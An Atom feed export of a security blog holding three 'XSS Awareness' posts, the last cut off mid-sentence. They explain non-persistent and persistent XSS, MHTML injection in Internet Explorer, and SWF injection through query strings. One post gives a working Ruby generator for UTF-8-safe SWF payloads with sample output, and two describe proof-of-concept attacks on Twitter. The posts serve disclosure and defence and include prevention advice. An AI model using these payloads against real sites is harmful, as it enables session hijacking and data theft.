<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CUcGSXo4eyp7ImA9WhBRE0U.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386</id><updated>2013-03-04T08:43:48.433+01:00</updated><category term="Rx" /><category term="flash" /><category term="TemplateLibraryConnector" /><category term="ndc2010" /><category term="ilasm" /><category term="MSN" /><category term="tools" /><category term="il" /><category term="SharePoint" /><category term="boost" /><category term="synchronization" /><category term="best practices" /><category term="gadget" /><category term="ramblings" /><category term="SharePoint 2010" /><category term="c++09" /><category term="sidebar" /><category term="FireBug" /><category term="Ajax" /><category term="thunking" /><category term="Moles" /><category term="VS2008" /><category term="Greasemonkey" /><category term="asm" /><category term="c#" /><category term="jquery" /><category term="Bing" /><category term="PowerShell" /><category term="way off topic" /><category term="worst practices" /><category term="threadsynch" /><category term="VS2010" /><category term="disassembly" /><category term="architecture" /><category term="JavaScript" /><category term="XSS" /><category term="c++" /><category term="work" /><category term="ildasm" /><category term="vista" /><category term="json" /><category term="x64" /><category term="Silverlight" /><category term=".NET" /><title>Will Code for Nuts</title><subtitle type="html">Scribblings and constructs, from one code-dribbling lunatic to another.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.codefornuts.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.codefornuts.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>95</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/uykS" /><feedburner:info uri="blogspot/uyks" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;Ak4MSH8yeyp7ImA9WhZTEUQ.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-3767821856219816674</id><published>2011-03-14T11:29:00.020+01:00</published><updated>2011-03-15T15:23:09.193+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-15T15:23:09.193+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><title>XSS Awareness #4: The actual dangers of cross-site scripting vulnerabilities</title><content type="html">If you missed either of the other articles in this series, they can be found here:&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-how-yfrog-could-be-used.html"&gt;How a Yfrog vulnerability could be used to post to Twitter&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-2-internet-explorer-mhtml_11.html"&gt;Internet Explorer, MHTML and the case of Twitter's promo service&lt;/a&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-3-delivering-javascript.html"&gt;Injecting malicious SWFs through the Query String&lt;/a&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;"What's so bad about XSS vulnerabilities anyway?"&lt;/h3&gt;&lt;br /&gt;... is a question that's repeated wherever and whenever web application security is being discussed.&lt;br /&gt;&lt;br /&gt;The potential damage caused by such vulnerabilities largely depend on which specific kind of vulnerability we're dealing with (persistent vs. non-persistent), and also which services are available to the attacker to use without two-factor confirmation, captchas, etc. Generally speaking, however, there's little an attacker &lt;i&gt;cannot&lt;/i&gt; do, when given a vulnerability to exploit. &lt;br /&gt;&lt;br /&gt;I like to think of cross-site scripting as handing the control of your browser over to a random stranger, telling him or her to do whatever, so long as it happens within the one website you're logged onto. If that one website happens to be your internet banking website, would you not be worried?&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Non-persistent XSS vulnerabilities&lt;/h3&gt;&lt;br /&gt;Non-persistent implies that the XSS would either have to be delivered in shape of a link the user clicks on, through a hidden frame on a site the user visits, or similar. These vulnerabilities most commonly lead to information disclosure. &lt;br /&gt;&lt;br /&gt;If you've logged into your account on your bank's site, then move to an evil site, the evil site can potentially copy your data (social security number, transaction statements, etc.), as well as perform operations in your stead (posts to transaction mechanisms, account deletion, etc). This, however, relies either on persistent sessions or visits to the evil site in one window, while you're still logged on in another window.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Persistent XSS vulnerabilities&lt;/h3&gt;&lt;br /&gt;Persistent implies that the attacker is able to post something to a page oft visited, and have his script executed whenever someone opens the page. This kind of XSS vulnerability can lead to more serious information disclosure:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Legitimate looking password popups, which actually pass the username and password to some evil page&lt;br /&gt;&lt;li&gt;MITM-style manipulation of user posted data (e.g. banking transactions), which often require two-factor authentication or similar confirmation codes&lt;br /&gt;&lt;li&gt;Intercepting credit card information&lt;/ul&gt;Worms also most commonly operate within the "persistent" domain. A worm which ravaged Twitter not so long ago relied on users to hover a link; an action which would cause the target to retweet a piece of malicious code, repeating the process.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Phishing attacks combined with XSS vulnerabilities&lt;/h3&gt;&lt;br /&gt;Phishing attacks also move to a completely different level when mixed with XSS vulnerabilities. The attacker could use the XSS to inject his own evil scripts into the page, and intercept data, passwords, credit cards etc., using the site's own layout and URL. &lt;br /&gt;&lt;br /&gt;Combined with the &lt;a href="https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history" target="_BLANK"&gt;HTML5 ability to rewrite the URL shown in the browser&lt;/a&gt;, the conspicuous looking URL which carries the XSS payload would merely flash for a moment. This technique makes it very difficult for the user to see that there's anything nasty going on, and it will be similarly hard to spot for phishing prevention plugins / applications, since the legitimate site is actually being used (rather than face&lt;b&gt;e&lt;/b&gt;book.com trying to hijack facebook.com).&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Not just in the browser&lt;/h3&gt;&lt;br /&gt;The examples above describe that data can be stolen, and in some cases written, on the web. The internet is however overflowing with write-ups on how XSS vulnerabilities have lead to &lt;a href="https://nealpoole.com/blog/2011/01/how-does-cross-site-scripting-become-arbitrary-code-execution-an-ode-to-the-oft-maligned-referer-header/" target="_blank"&gt;server-side code execution&lt;/a&gt; and even &lt;a href="http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/" target="_blank"&gt;client-side native code execution&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;How common are these vulnerabilities?&lt;/h3&gt;&lt;br /&gt;During February 2011 I notified two large banks in Norway (regarding multiple vulnerabilities which made it trivial to extract account information), Opera (regarding a vulnerability in their new mobile appstore), Github, Twitter, Reddit, Digg, Yfrog, TwitPic, Microsoft and quite a few others.&lt;br /&gt;&lt;br /&gt;The majority of these vulnerabilities were trivial to find: In fact, many required no effort at all, as they were spotted by the &lt;a href="https://github.com/einaros/vulnscrape" target="_blank"&gt;injection-based xss vulnerability scanner&lt;/a&gt; I released to Github a few days ago. Other vulnerabilities were research-oriented, and did require some effort. But if I could find them, people who dedicate their lives to exploiting these things most certainly would.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;So where does that leave us?&lt;/h3&gt;&lt;br /&gt;While it's the dead-serious responsibility of web developers to ensure that their webapps are secure, it's also the responsibility of end users to understand how to stay as protected as possible. I've mentioned NotScripts and FlashBlock before -- both good alternatives for Chrome users. Many other alternatives exist for other browsers.&lt;br /&gt;&lt;br /&gt;The very best (although arguably more tedious) advice, however:&lt;br /&gt;&lt;b&gt;Never stay logged in.&lt;/b&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/hyYHMWqOsgE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/3767821856219816674/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=3767821856219816674" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/3767821856219816674?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/3767821856219816674?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/hyYHMWqOsgE/xss-awareness-4-actual-dangers-of-cross.html" title="XSS Awareness #4: The actual dangers of cross-site scripting vulnerabilities" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2011/03/xss-awareness-4-actual-dangers-of-cross.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YBR3o7cSp7ImA9WhZTEU0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8168552898918691972</id><published>2011-02-19T12:16:00.036+01:00</published><updated>2011-03-14T12:12:36.409+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-14T12:12:36.409+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="best practices" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><title>XSS Awareness #3: Injecting malicious SWFs through the Query String</title><content type="html">If you missed either of the other articles in this series, they can be found here:&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-how-yfrog-could-be-used.html"&gt;How a Yfrog vulnerability could be used to post to Twitter&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-2-internet-explorer-mhtml_11.html"&gt;Internet Explorer, MHTML and the case of Twitter's promo service&lt;/a&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Internet Explorer and MIME types&lt;/h3&gt;&lt;br /&gt;Internet Explorer is notorious when it comes to disregarding the Content-Type HTTP header; that really cannot be said often enough. If you're a web developer, and especially if you're writing web services, it's extremely important to be aware of this.&lt;br /&gt;&lt;br /&gt;Short recap, for the oblivious: &lt;i&gt;MIME type&lt;/i&gt; is whatever type the browser believes a resource to be. Most browsers rely on the Content-Type HTTP header first, then hints passed by the markup which refers to the resource, and finally file extension in the URI. Internet Explorer, on the other hand, will first of all attempt to guess, or sniff, the MIME type based on the extension.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The importance of MIME type in JSONP services&lt;/h3&gt;&lt;br /&gt;JSONP (JSON with a user-supplied callback) services, or rather: web services where one of the query parameters will be written to the very beginning of the output, are especially prone to MIME type issues.&lt;br /&gt;&lt;br /&gt;As demonstrated in the second article in this series (linked above), many web services skip cleaning callback like query parameters for such services. Most of the time they are alright to do so. As long as the service returns "Content-Type: application/json", "Content-Type: application/javascript" or similar, most browsers won't attempt to load the data as HTML or anything else.&lt;br /&gt;&lt;br /&gt;But this is where Internet Explorer will get into deep water. Again. &lt;br /&gt;&lt;br /&gt;Given that:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The service returns data that begins with a string passed in a query parameter.&lt;li&gt;The service somehow accepts custom extensions, such as a REST'ish syntax where the last part before the query string is a search string: "http://somedomain.com/services/search/foobar.baz?callback=something".&lt;br /&gt;&lt;li&gt;The callback query parameter isn't altered (too much) by the server.&lt;br /&gt;&lt;li&gt;The server doesn't return the "X-Content-Type-Options: nosniff" HTTP header.&lt;/ol&gt;.. then it's very likely that Internet Explorer can be tricked into loading scripts or other executable content. Because of point #2, a request to the server could e.g. pass ".swf" as an extension to the web service; which will cause Internet Explorer to interpret the returned data as something the Flash plugin would want to run.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Injecting malicious SWFs through the Query String&lt;/h3&gt;&lt;br /&gt;While services, or even web pages, which fulfill the three requirements above could be passed a script, such as&lt;pre class="brush: html;"&gt;&amp;lt;script&amp;gt;alert(1);&amp;lt;/script&amp;gt;&lt;/pre&gt;.. Internet Explorer's XSS filter would block this. SWFs and similar executable content, which may come with javascript, however won't be blocked.&lt;br /&gt;&lt;br /&gt;How easy it is for an attacker to inject an SWF depends largely on which characters the server's encoding allows for. Most services these days send data as UTF-8, which means that bytes at or above 0x80 can be tricky to express. Some require UTF-8 start bytes as prefixes (which can require more than one byte to follow), some are themselves start bytes, and require a set of continuation bytes. Nevertheless, it is possible to express the necessary skeleton SWF to hold and execute JavaScript.&lt;br /&gt;&lt;br /&gt;I won't be going in-depth on the ActionScript Virtual Machine (or AVM); a few quick searches will yield lots of information on that. The important bits of the approach, however, are as follows:&lt;br /&gt;&lt;br /&gt;ActionScript actions are single bytes. Some actions take attributes. &lt;i&gt;GetURL&lt;/i&gt; is one such action, and it takes two attributes: url and target. The thing about these actions, however: all those that take attributes have bytecodes at or above 0x80, and are therefore not valid UTF-8 sequences on their own.&lt;br /&gt;&lt;br /&gt;There is one specific thing about the AVM that provides an easy workaround: Unknown action bytecodes are silently ignored by the player.&lt;br /&gt;&lt;br /&gt;Actions which take attributes have the following layout: &lt;pre&gt;[action bytecode, 1 byte][attribute section length, 2 bytes][attribute section, n bytes]&lt;/pre&gt;Consequently it is possible to specify the unknown 0xC2 (UTF-8 start byte) action, followed by 0x80 (a valid UTF-8 single continuation byte) and 0x00. Following that three byte construct, the Flash player will expect (and ignore) 128 attribute bytes. Outputting 127 times 0x44 (or any other byte lower than 0x80), then another 0xC2, will allow us to specify 0x83 (GetURL) as the next ActionScript action.&lt;br /&gt;&lt;br /&gt;Following is a (somewhat) naïve Ruby script I wrote, which generates an SWF wrapper around a JavaScript, such as described above. I'm hoping that is enough for web devs to understand that it's by no means difficult to deliver SWFs when restricted to UTF-8.&lt;br /&gt;(Or even 7-bit ASCII, if you're &lt;a href="http://twitter.com/steike"&gt;Erling Ellingsen&lt;/a&gt;.)&lt;br /&gt;&lt;pre class="brush: ruby;"&gt;class Fixnum&lt;br /&gt;  def to_little_endian_bytes l&lt;br /&gt;    [self].pack(l==4?'V':'v').unpack('C*')&lt;br /&gt;  end&lt;br /&gt;  def has_byte_above max&lt;br /&gt;    [self].pack('v').unpack('C*').any? { |n| n &amp;gt; max }&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def utf8_prefix&lt;br /&gt;  [0xC2, 0x80, 0x00] + (1...0x80).inject([]) { |m, n| m &amp;lt;&amp;lt; 0x2d } + [0xC2]&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def action bytecode, *args&lt;br /&gt;  argbytes = args.inject([]) { |m, arg| m += arg.unpack('C*') &amp;lt;&amp;lt; 0 }&lt;br /&gt;  while argbytes.length.has_byte_above(0x7F)&lt;br /&gt;    argbytes &amp;lt;&amp;lt; 0&lt;br /&gt;  end&lt;br /&gt;  header = (bytecode &amp;gt;= 0x80 ? utf8_prefix : []) &amp;lt;&amp;lt; bytecode&lt;br /&gt;  header + argbytes.length.to_little_endian_bytes(2) + argbytes&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def make_script_swf javascript&lt;br /&gt;  while true&lt;br /&gt;    header = [0x46, 0x57, 0x53, 0x08]&lt;br /&gt;    setup = [0x20, 0x18, 0x18, 0x00, 0x01, 0x01, 0x00]&lt;br /&gt;    tag = [0x3f, 0x03]&lt;br /&gt;    tagcode = action(0x83, "javascript:#{javascript}", "_top") &amp;lt;&amp;lt; 0&lt;br /&gt;    tagsize = tagcode.length.to_little_endian_bytes(4)&lt;br /&gt;    size = (header.length + setup.length + &lt;br /&gt;            tag.length + tagsize.length + &lt;br /&gt;            tagcode.length + 6).to_little_endian_bytes(4)&lt;br /&gt;    bytes = header + size + setup + tag + tagsize + tagcode &amp;lt;&amp;lt; 0 &amp;lt;&amp;lt; 0&lt;br /&gt;    break if bytes.length.has_byte_above(0x7F) == false and &lt;br /&gt;             tagcode.length.has_byte_above(0x7F) == false&lt;br /&gt;    javascript += " "&lt;br /&gt;  end&lt;br /&gt;  bytes&lt;br /&gt;end&lt;/pre&gt;&lt;br /&gt;Running this, and dumping percent encoded output, such as:&lt;br /&gt;&lt;pre class="brush: text;"&gt;bytes = make_script_swf('alert(1);')&lt;br /&gt;puts bytes.map { |c| "%%%02x" % c }.join('')&lt;/pre&gt;Would yield a query string passable SWF similar to:&lt;br /&gt;&lt;pre class="brush: text;"&gt;%46%57%53%08%1a%01%01%01%43%02%3f%03%01%c2%80%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%c2%83%79%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5f%74%6f%70&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Proof of concept XSS against Twitter&lt;/h3&gt;&lt;br /&gt;As far as proof of concepts go, I did generate an SWF like this, which I passed to the previously mentioned Twitter promotion service. Following is a screencast of how that played out. Watch it in fullscreen to see the HTTP headers and such.&lt;br /&gt;&lt;br /&gt;&lt;div class="video" data-id="1f030e17-4dee-42a6-88eb-e857883177d4" data-video="2011-02-14_2127.mp4" data-width="575" data-height="350" &gt;&lt;/div&gt;&lt;br /&gt;Hopefully that caught your attention, and you're now keen to protect your own web services.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Prevention&lt;/h3&gt;&lt;br /&gt;If you're a web developer writing web services, or any kind of web page, you really need to pay attention to injected content, no matter the MIME type. Of course, you should always make sure to send the correct Content-Type HTTP header, but that only gets you so far. Also make sure to pass the "X-Content-Type-Options: nosniff" header if you specify a restrictive Content-Type, otherwise IE will take a path of its own. Again, though, there are always scenarios where the browser will disregard the server-supplied Content-Type, so it really comes down to washing input properly.&lt;br /&gt;&lt;br /&gt;Finally, and this is the really important bit: Don't underestimate possible attack vectors. Slightly difficult isn't impossible. Usually, 'impossible' isn't even impossible; just cumbersome. If you write any kind of software, it really is your duty to be prepared for the fact that someone brighter, or more evil, than you may come along down the road.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/ADb86Dho1Yk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8168552898918691972/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8168552898918691972" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8168552898918691972?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8168552898918691972?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/ADb86Dho1Yk/xss-awareness-3-delivering-javascript.html" title="XSS Awareness #3: Injecting malicious SWFs through the Query String" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2011/02/xss-awareness-3-delivering-javascript.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cCR3o_eip7ImA9Wx9bEUQ.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-4640391774197721153</id><published>2011-02-11T13:00:00.011+01:00</published><updated>2011-02-20T11:51:06.442+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-20T11:51:06.442+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="best practices" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><title>XSS Awareness #2: Internet Explorer, MHTML and the case of Twitter's promo service</title><content type="html">If you missed either of the other articles in this series, they can be found here:&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-how-yfrog-could-be-used.html"&gt;How a Yfrog vulnerability could be used to post to Twitter&lt;/a&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-3-delivering-javascript.html"&gt;Injecting malicious SWFs through the Query String&lt;/a&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;MHTML: Microsoft's black sheep web page archive format&lt;/h3&gt;&lt;br /&gt;The first advisory I could find related to the latest wave of exploits through the MHTML protocol handler, dates back to 2004. The protocol itself was proposed in 1999, which means that this problem has been known for more than half its lifetime. That's pretty spectacular. I'll admit I had barely heard of, let alone dug into, what and why MHTML was - until the reports in early January this year.&lt;br /&gt;&lt;br /&gt;In a nutshell, the MHTML protocol handler will look for a second HTTP header like structure in what's being sent from the server. Following the regular HTTP header, you'll find a double set of carriage return and line feed, "\r\n\r\n", after which the HTTP body begins. Granted that the url is prefixed "mhtml:", the MHTML handler will kick in at this point.&lt;br /&gt;&lt;br /&gt;The MHTML handler will parse the HTTP body for MHTML headers, stopping when it finds a completely blank line ("\n\n" or "\r\n\r\n"). The headers it looks for include "Content-Location" and "Content-Transfer-Encoding". Having successfully found these, it will attempt to decode the MHTML resource, which follows the MHTML header. A HTTP body can include several MHTML resources, which are named through the Content-Location header. Which specific MHTML resource is executed, is decided by an argument passed through the URL, following a trailing exclamation mark.&lt;br /&gt;&lt;br /&gt;A server response with a single MHTML document, containing a javascript to alert "hi", could look like:&lt;pre class="brush: text"&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Fri, 11 Feb 2011 08:07:05 GMT&lt;br /&gt;Status: 200 OK&lt;br /&gt;Content-Length: [...]&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Expires: Tue, 31 Mar 1981 05:00:00 GMT&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;Content-Type: Multipart/related; boundary=_bounds&lt;br /&gt;&lt;br /&gt;--_bounds&lt;br /&gt;Content-Location: foo&lt;br /&gt;Content-Transfer-Encoding: base64&lt;br /&gt;&lt;br /&gt;PHNjcmlwdD5hbGVydCgnaGknKTwvc2NyaXB0Pg==&lt;br /&gt;--_bounds--&lt;/pre&gt;What makes the MHTML protocol handler dangerous, is a combination of several factors. &lt;ol&gt;&lt;li&gt;Internet Explorer is prone disregard content type in the first place, but the MHTML protocol handler will even disregard nosniff and mime type.&lt;li&gt;Seeing as the script part of the document can be base64 encoded, the browser's XSS prevention mechanism won't kick in.&lt;li&gt;No quotes or other commonly escaped / encoded characters are present in the MHTML payload. I have seen some examples where semicolons are replaced as well, but they aren't required in the MHTML header's short form in either case.&lt;/ol&gt;This effectively means that web pages which otherwise follow best practices, but don't strip carriage return and newline from the input they pass on, could be vulnerable. That is, if they don't output any blank lines anywhere prior to the MHTML header's output point. This happens to be why I've previously said that ASP.NET is accidentally (nearly) immune to the attack: the commonly used markup, with page directives and such on top, will cause an extra blank line to be written between the HTTP header and the HTTP body -- abruptly disabling the MHTML procol handler.&lt;br /&gt;&lt;br /&gt;While many pages are affected by this, one specific kind of web page has been more prone to vulnerability than others: JSON web services with jsonp callback parameters. Few web services bother washing input to these services, and are relatively safe to do so, granted that they pass the right content type, mime type and preferably nosniff header back to the browser. No sane browser would run the output from the page, should it be requested, in either case. Such is not the case with the MHTML handler, however.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Let me just say: MHTML is an epically bad idea&lt;/h3&gt;&lt;br /&gt;It really is essential that organizations of IE users understand just how ludicrous the MHTML protocol handler is. Let me add to the examples above by mentioning that IE doesn't care at all whether the MIME type you're loading implies a binary file or not. It could just as well be a jpg, png, gif or whatever else, so long as there are (as mentioned above) no two successive newlines prior to the MHTML header. Open an url such as http://example.com/image.png, and you'd get a picture. Open mhtml:http://example.com/image.png!foo, and your browser would happily execute scripts and whatnot. &lt;br /&gt;&lt;br /&gt;Then there are the content hosting sites, such as Github, who really have no option but to host raw, unmodified, views of files. Or even Gists. Since MHTML's reach stretches beyond MIME type, Content-Type and anything you can pass in the HTTP header, it goes without saying that hosting *any* file with a valid MHTML header on such a site, would be executed by the browser. And when it does, any private listings you have there are at risk of being stolen.&lt;br /&gt;&lt;br /&gt;There really is no sense to the MHTML handler. At all.&lt;br /&gt;&lt;br /&gt;If you're still using Internet Explorer (and yes, that includes the newly released IE 9 Release Candidate), go patch it: &lt;a href="http://support.microsoft.com/kb/2501696"&gt;http://support.microsoft.com/kb/2501696&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The case of Twitter's promo service&lt;/h3&gt;&lt;br /&gt;Twitter had one specific web service, which returned json-formatted information about promotions. You could freely pass a callback to it, and it would return a javascript which called said function, with the json data as an argument (jsonp in a nutshell, yeah). This service happened to not wash carriage return and line-feed from the callback name, and consequently was XSS vulnerable to injected MHTML.&lt;br /&gt;&lt;br /&gt;One thing that complicated a proof of concept against the service -- but ultimately pointed out something important -- was a specific piece of javascript on Twitter's main page.&lt;br /&gt;&lt;br /&gt;Most MHTML XSS attacks I've seen deliver an iframe, which in turn loads up a page which holds &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention" target="_blank"&gt;CSRF tokens&lt;/a&gt;. The MHTML's script would extract the token from the iframe's document, and the browser would happily allow it, seeing as the two were within in the same domain. Finally the script would post to whatever service it wanted to be naughty towards.&lt;br /&gt;&lt;br /&gt;Because of Twitter's script, however, this proved difficult. Upon opening the main page, the script would check if the page was currently the topmost frame, and if not: replace the url of the top frame, effectively breaking out of the iframe. Second of all, the script would immediately set document.domain to "twitter.com", which isn't possible from MHTML, and that would also break the iframe approach.&lt;br /&gt;&lt;br /&gt;What I ended up doing was deliver a script which would use Microsoft's XMLHttp object to get the token, and post that to the tweet page. From within MHTML, this also proved slightly difficult, as the XHR would regularly throw "access denied" error messages. The curious part here, though: it wouldn't *always* throw these messages. There appeared to be some timing to it. The access error couldn't be because of the document.domain restriction either, as no page had yet been requested with that on it. It seemed to be entirely an effect of where in the MHTML lifecycle the request was fired. That possible digression bug aside, bunny hopping between different scripts upon error, eventually made both token retrieval and cross-tweeting go through:&lt;br /&gt;&lt;br /&gt;&lt;object id="scPlayer"  width="575" height="311" type="application/x-shockwave-flash" data="http://content.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/jingh264player.swf" &gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/jingh264player.swf" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#FFFFFF" /&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/FirstFrame.jpg&amp;containerwidth=575&amp;containerheight=311&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/00000001.mp4&amp;blurover=false" /&gt; &lt;param name="allowFullScreen" value="true" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/" /&gt; &lt;iframe type="text/html" frameborder="0" scrolling="no" style="overflow:hidden;" src="http://www.screencast.com/users/einaros/folders/Jing/media/537f4354-2afc-49da-a018-3eee96c5b880/embed" height="311" width="575" &gt;&lt;/iframe&gt; &lt;/object&gt;&lt;font size='small'&gt;XSS proof of concept against the promo service.&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Internet Explorer's XSS filter gone autoimmune&lt;/h3&gt;&lt;br /&gt;So, while that approach did work, I mentioned 